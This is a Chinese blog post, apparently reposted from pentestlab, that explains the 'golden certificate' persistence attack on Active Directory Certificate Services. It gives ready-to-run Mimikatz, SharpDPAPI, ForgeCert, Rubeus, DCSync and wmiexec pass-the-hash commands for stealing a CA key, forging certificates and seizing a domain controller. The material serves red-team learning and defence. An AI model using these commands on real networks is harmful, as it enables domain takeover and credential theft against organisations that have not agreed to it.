利用黄金证书劫持域控

VSole2021-11-25 10:25:32

域控渗透最常见的域持久性技术之一是黄金票据攻击,它涉及使用“ krbtgt ”的 NTLM 哈希创建 kerberos 票证。但是在部署了 Active Directory 认证服务 (AD CS) 的服务器的域中,可能会在发生入侵时被滥用以实现域持久性。通过窃取 CA 证书的私钥,红队可以伪造和签署证书以用于身份验证。在部署 Active Directory 证书服务 (AD CS) 期间,域中默认启用基于证书的身份验证。因此,需要将这些系统视为第 0 层资产并得到适当保护。

通过黄金证书执行域持久化需要以下步骤:

  1. 证书提取 (CA)
  2. 伪造CA证书
  3. 获取 Kerberos 票证(DC 的机器账户)
  4. 执行pass票证

证书提取

CA 证书和私钥存储在 CA 服务器中。使用与系统的 RDP 连接,可以使用“ certsrv.msc ”的备份功能检索这些信息。

certsrv – 备份 CA

在证书颁发机构备份向导中,私钥和 CA 证书都可以导出到指定位置。

certsrv – 私钥和备份位置

CA 证书将导出为 p12 文件(个人信息交换)。

certsrv – 提取的 CA

但是,还有多种其他方法可用于从服务器提取 CA 证书和私钥。使用参数“ Certificates ”执行Seatbelt可以枚举存储的CA证书。

Seatbelt.exe Certificates

Seatbelt – 本地机器

Mimikatz 还可以与加密存储进行交互,以检索和导出证书和私钥。修补“ CryptoAPI ”和“ KeyIso ”不可导出的密钥将可以从许多密钥提供程序导出。

privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export

Mimikatz – 导出证书

Mimikatz - CA 证书

证书将以 .DER 和 .PFX 格式提取到磁盘上。

SharpDPAPI也可用于提取证书。执行“ certificates /machine ”命令将使用机器证书存储来提取可解密的机器证书和私钥。

SharpDPAPI.exe certificates /machine

SharpDPAPI – 机器证书

私钥和证书都将显示在控制台中。

SharpDPAPI - CA 证书

提取的私钥和证书可以写入扩展名为 .PEM 的文件中。执行以下命令可以将证书转换为可用格式,如 .PFX 允许用于使用 Rubeus 进行身份验证。

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

将证书转换为 PFX

伪造CA证书

Mimikatz 可用于通过使用“ crypto::scauth ”模块来伪造和签署证书。该模块最初是为创建智能卡身份验证客户端证书而开发的。所需的参数是证书颁发机构的主题名称和将创建证书的用户的用户主体名称。可选项,“ /pfx ”参数可用于定义将要创建的证书的文件名。

crypto::scauth /caname:ca /upn:pentestlab@purple.lab

伪造CA证书——Mimikatz

或者,ForgeCert是由Lee Christensen在 C# 中开发的,它使红队能够使用 CA 证书为任何域用户伪造证书进行身份验证。该工具可以注入内存中执行,并将文件写入磁盘。执行以下命令将为“ pentestlab ”用户创建一个假证书,该证书将由 CA 证书的私钥签名。

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName pentestlab@purple.lab --NewCertPath localadmin.pfx --NewCertPassword Password123

伪造CA证书-域用户

应该注意的是,必须为域上的活动用户创建证书。因此它不能用于“ krbtgt ”帐户。伪造证书的有效期为1年,只要CA证书有效(一般为5年)就有效。除了域用户帐户外,机器帐户也可用于域持久性,因为可以使用 DCSync、Pass the Ticket 和 S4U2Self 等技术。

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@purple.lab --NewCertPath DC$.pfx --NewCertPassword Password123

伪造证书-机台账

Kerberos 票证

可以使用伪造的证书从密钥分发中心 (KDC) 请求 Kerberos 票证以进行身份验证。

Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123

Rubeus – Kerberos 票证

Rubeus - 域用户票

通过票证

可以从域中的任何主机使用属于域控制器的机器帐户的证书来请求 Kerberos 票证。执行以下命令将检索 base64 格式的票证。

Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123

Rubeus - 请求 DC 机器帐户的票证

DC 机器帐户 Base64 票证

base64 票证可以被解码并写入扩展名为 .kirbi 的文件中。

echo "" | base64 -d > dc$.kirbi

将 Base64 票证转换为 Kirby

票证可以传输到任何 Windows 主机,并使用传递票证技术导入任何用户会话。

Rubeus.exe ptt /ticket:dc$.kirbi

Rubus – 通过票证

由于票据属于域控制器的计算机帐户,因此可以执行提升的活动,例如 DCSync。从当前执行 Mimikatz 并运行以下命令的会话中,将检索作为域管理员帐户的用户 Administrator 的 NTLM 哈希。

lsadump::dcsync /user:Administrator

Mimikatz – DCSync

散列可用于通过散列技术或通过 WMI 连接建立对域控制器的访问。

python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1

WMI 连接 - 域控制器

参考链接

https://github.com/GhostPack/Seatbelt

https://github.com/GhostPack/SharpDPAPI

https://github.com/GhostPack/ForgeCert

https://pentestlab.blog/2021/11/15/golden-certificate/



ca中心ca证书
本作品采用《CC 协议》,转载必须注明作者和本文链接
VPN:IKE密钥交换原理
2021-10-02 12:50:17
在采用IKE动态协商方式建立IPSec隧道时,SA有两种:一种IKE SA,另一种是IPSec SA。建立IKE SA目的是为了协商用于保护IPSec隧道的一组安全参数,建立IPSec SA的目的是为了协商用于保护用户数据的安全参数,但在IKE动态协商方式中,IKE SA是IPSec SA的基础,因为IPSec SA的建立需要用到IKE SA建立后的一系列密钥。本文介绍在IKE动态协商方式建立IP
起源于比特币[1]的区块链技术作为继互联网之后计算存储模式的又一次颠覆式创新,通过其独特的块链式数据结构,多方维护的共识算法及灵活编程的智能合约,构建了一种新型的分布式信任网络,有力的推动了互联网技术由信息互联网向价值互联网的转化。 然而,区块链系统在提供灵活分布式协作优势的同时,其自身身份管理也面临着极大挑战。在传统中心化交易系统中,参与方的身份管理及交易数据均由中心机构统一核验确认,且相关信
信息技术飞速发展,在不断改变人们生产生活方式的同时,也带来了日益严峻的网络安全问题。如何在网络实体间建立信任关系,是信息安全领域需要解决的重点问题。作为网络安全的基石,网络信任体系衍生出公钥基础设施、标识密码等多种技术。当前,区块链技术以不可篡改、不可伪造、可追溯等特点备受各界关注,在金融、政务、司法等领域广泛应用,也为网络信任体系的构建提供了新的思路。
区块链是近年来出现了一项分布式共识技术,基于区块链共识协议结合智能合约技术可实现去中心化的数据共享。隐私保护是数据共享中的关键特性,原生区块链没有解决隐私保护问 题。利用数字摘要匹配算法提出了一种数据共享协议,该协议通过数字摘要空间的信息匹配,可在保护数据隐私的情况下实现数据的受控共享。基于协议的运行逻辑,分析了协议执行的正确性,参与双方可实现数据交换共享。针对数据共享中的面临的安全威胁,给出了安
SSH的使用详解
2022-04-19 07:24:57
今天为大家分享一篇关于SSH 的介绍和使用方法的文章。本文从SSH是什么出发,讲述了SSH的基本用法,之后在远程登录、端口转发等多种场景下进行独立的讲述,希望能对大家有所帮助。
系统安全第31篇文章介绍恶意代码攻击溯源基础知识
域控渗透最常见的域持久性技术之一是黄金票据攻击,它涉及使用“ krbtgt ”的 NTLM 哈希创建 kerberos 票证。但是在部署了 Active Directory 认证服务的服务器的域中,可能会在发生入侵时被滥用以实现域持久性。
上一季度威胁趋势的分析结果表明,攻击者增加了无文件恶意软件的使用,而所有检出恶意软件中近三分之二是零日恶意软件。 企业如果尚未实现控制措施检测藏身于加密网络流量中的恶意软件,就会面临环境中广泛分布大量恶意工具,自身端点设备可能遭受攻击的风险。
VSole
网络安全专家